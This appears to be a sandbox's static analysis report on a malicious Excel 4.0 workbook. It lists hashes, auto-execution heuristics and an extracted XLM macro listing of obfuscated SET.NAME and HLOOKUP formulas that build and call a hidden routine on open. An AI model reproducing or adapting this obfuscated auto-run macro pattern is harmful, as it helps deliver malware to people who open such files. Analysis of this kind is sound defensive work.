Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 930aa44813720d85…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:02 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 31c0da3948583c2435e599f94b8900c1 SHA-1: aee1da09649da6b2124b3efc7a37cb0ece4b05b0 SHA-256: 930aa44813720d859563dae510deb7c3e72e9a92de3bb57b3b4d3b5b885ff00b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6809 bytes
SHA-256: e894af476496f867b78e48eb9a07967fd7c758876163e55904775e1d17025bf6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  djtWfaW
' 0018     26 LABEL : Cell Value, String Constant - AeHVjjkzhat len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B162 
' 0018     25 LABEL : Cell Value, String Constant - BMkWzEBSiA len=0 
' 0018     20 LABEL : Cell Value, String Constant - Bpygo len=0 
' 0018     25 LABEL : Cell Value, String Constant - eLpyVseGOz len=0 
' 0018     24 LABEL : Cell Value, String Constant - FOsgWHMnP len=0 
' 0018     22 LABEL : Cell Value, String Constant - hTzEMjb len=0 
' 0018     22 LABEL : Cell Value, String Constant - jOSoAWY len=0 
' 0018     26 LABEL : Cell Value, String Constant - jPHnSxZJmzX len=0 
' 0018     21 LABEL : Cell Value, String Constant - KvKOei len=0 
' 0018     27 LABEL : Cell Value, String Constant - KyrLGOdLPRcH len=0 
' 0018     22 LABEL : Cell Value, String Constant - LaezLat len=0 
' 0018     23 LABEL : Cell Value, String Constant - mTalFMql len=0 
' 0018     27 LABEL : Cell Value, String Constant - NzzZLDUCRzcN len=0 
' 0018     27 LABEL : Cell Value, String Constant - oMqtYdWXdazW len=0 
' 0018     21 LABEL : Cell Value, String Constant - pyQipw len=0 
' 0018     24 LABEL : Cell Value, String Constant - qONKWyLJg len=0 
' 0018     20 LABEL : Cell Value, String Constant - RBXwl len=0 
' 0018     20 LABEL : Cell Value, String Constant - sBEvS len=0 
' 0018     23 LABEL : Cell Value, String Constant - tyQIPlER len=0 
' 0018     21 LABEL : Cell Value, String Constant - YXrEKa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  djtWfaW,Q65,"",313.00000000000000000000
'  djtWfaW,Q66,"",-889.00000000000000000000
'  djtWfaW,Q67,"",231.00000000000000000000
'  djtWfaW,Q68,"",-864.00000000000000000000
'  djtWfaW,Q69,"",-143.00000000000000000000
'  djtWfaW,Q70,"",-941.00000000000000000000
'  djtWfaW,B73,"SET.NAME("eLpyVseGOz",0+VALUE("0"))",""
'  djtWfaW,B75,"SET.NAME("tyQIPlER",eLpyVseGOz)",""
'  djtWfaW,B80,"SET.NAME("oMqtYdWXdazW",eLpyVseGOz)",""
'  djtWfaW,B83,"SET.NAME("RBXwl",COUNTA(YXrEKa))",""
'  djtWfaW,B87,"SET.NAME("NzzZLDUCRzcN",COUNTA(sBEvS))",""
'  djtWfaW,B91,[],""
'  djtWfaW,B95,"SET.NAME("jOSoAWY","")",""
'  djtWfaW,B99,"tyQIPlER",""
'  djtWfaW,B103,"SET.NAME("AeHVjjkzhat",HLOOKUP("*",YXrEKa,tyQIPlER,FALSE))",""
'  djtWfaW,B107,"FOsgWHMnP",""
'  djtWfaW,B109,"SET.NAME("LaezLat",eLpyVseGOz)",""
'  djtWfaW,B114,[],""
'  djtWfaW,B119,"LaezLat",""
'  djtWfaW,B121,"pyQipw",""
'  djtWfaW,B123,"KyrLGOdLPRcH",""
'  djtWfaW,B127,"qONKWyLJg",""
'  djtWfaW,B129,"SET.NAME("BMkWzEBSiA",VALUE(HLOOKUP("*",sBEvS,qONKWyLJg,FALSE)))",""
'  djtWfaW,B132,"jPHnSxZJmzX",""
'  djtWfaW,B136,"jOSoAWY",""
'  djtWfaW,B138,"oMqtYdWXdazW",""
'  djtWfaW,B142,NEXT(),""
'  djtWfaW,B147,"mTalFMql",""
'  djtWfaW,B151,[],""
'  djtWfaW,B153,"KvKOei",""
'  djtWfaW,B156,NEXT(),""
'  djtWfaW,B159,RETURN(),""
'  djtWfaW,B184,"SET.NAME("hTzEMjb",B73)",""
'  djtWfaW,B188,"YXrEKa",""
'  djtWfaW,B190,"SET.NAME("sBEvS",R87C13)",""
'  djtWfaW,B193,"SET.NAME("KvKOei",202)",""
'  djtWfaW,B198,"SET.NAME("Bpygo",2)",""
'  djtWfaW,B201,hTzEMjb(),""
'  djtWfaW,B202,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.